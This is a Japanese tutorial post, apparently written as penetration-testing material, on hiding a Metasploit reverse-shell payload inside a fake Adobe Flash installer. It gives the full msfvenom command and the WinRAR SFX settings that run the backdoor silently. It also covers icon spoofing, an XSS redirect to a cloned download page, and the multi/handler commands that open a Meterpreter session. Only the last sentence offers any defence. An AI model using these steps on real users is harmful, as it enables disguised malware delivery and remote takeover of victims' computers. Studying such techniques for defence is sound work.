ソーシャルエンジニアリングにおける実行ファイルへのペイロード埋め込みと配布手法の解析

セキュリティリサーチの文脈において、ユーザーを欺いて悪意のあるプログラムを実行させるソーシャルエンジニアリングは、依然として強力な攻撃ベクトルである。本稿では、Metasploit Framework(MSF)を使用して生成したペイロードを、正規のインストーラーと組み合わせる(バインドする)ことで、検知を回避しつつ実行させる手法について、技術的な観点から解説する。

1. 検証環境の構成

本シナリオでは、以下の環境を想定する。

  • 攻撃側(Kali Linux): IPアドレス 192.168.242.4。ペイロードの生成およびリスナーの待機を行う。
  • ターゲット側(Windows 7/10): IPアドレス 192.168.242.5。フィッシングサイトを通じて配布ファイルを実行する環境。

2. ペイロードの生成

まず、msfvenomツールを使用して、ターゲットOSに適合するリバースシェル・ペイロードを作成する。

# Kali Linux上で実行
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.242.4 \
         LPORT=8888 \
         -f exe > agent.exe

このコマンドにより、192.168.242.4のポート8888へ接続を試みる実行ファイル(agent.exe)が生成される。

3. フィッシングページの準備

攻撃者は、XSS脆弱性を利用してユーザーを偽のダウンロードページへリダイレクトさせる。このページは、Adobe Flash Playerの公式サイト(flash.cn等)を模倣して作成される。GitHubなどで公開されているオープンソースのフィッシングテンプレートを使用し、ダウンロードリンクを後に作成する「偽装済みインストーラー」に書き換えることで準備を整える。

4. ファイルのバインドと自己解凍形式(SFX)の作成

正規のインストーラー(例:flash_installer.exe)と、先ほど生成した悪意のあるファイル(agent.exe)を一つのファイルにまとめる。ここでは、WinRARなどのアーカイバが持つ「自己解凍形式(SFX)」機能を悪用する。

  1. 両方のファイルを選択し、WinRARで「書庫形式をSFXにする」にチェックを入れる。
  2. 「詳細」タブから「SFXオプション」を開き、以下の設定を行う。
    • 解凍パス: C:\Windows\Temp(ユーザーに気づかれにくい一時ディレクトリ)。
    • 実行コマンド(解凍前): C:\Windows\Temp\agent.exe(ペイロードを先にバックグラウンドで実行)。
    • 実行コマンド(解凍後): C:\Windows\Temp\flash_installer.exe(正規のインストール画面を表示させ、不審感を抱かせないようにする)。
  3. 「モード」タブで「すべてを非表示」を選択し、実行時のダイアログを抑制する。

5. リソースエディタによるアイコンの偽装

生成されたSFXファイルはデフォルトのアイコンになっているため、不自然である。RestoratorやResource Hackerなどのリソース編集ツールを使用して、正規のインストーラーからアイコン(ICOファイル)を抽出し、作成したSFXファイルに適用する。これにより、見た目上は正規のFlashインストーラーと区別がつかなくなる。

6. メタスプロイトによる待機状態の構築

ターゲットがファイルを実行した際の接続を受け取るため、MSFでハンドラーを起動する。

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.242.4
msf6 exploit(multi/handler) > set LPORT 8888
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.242.4:8888 と表示されれば、待機状態となる。

7. 実行とセッションの確立

ユーザーがフィッシングサイトから偽装ファイルをダウンロードし、実行すると、表面上は正規のFlash Playerのインストールが開始される。しかし、その裏でバックドア(agent.exe)が実行され、攻撃者のMSFコンソールにMeterpreterセッションが確立される。これにより、攻撃者はターゲットのシステムに対してリモート操作が可能となる。

このような攻撃を防ぐためには、信頼できないソースからのソフトウェアダウンロードを避けること、およびファイルのデジタル署名を確認することが不可欠である。

タグ: Metasploit Phishing Malware-Bundling penetration-testing Social-Engineering

9月10日 22:44 投稿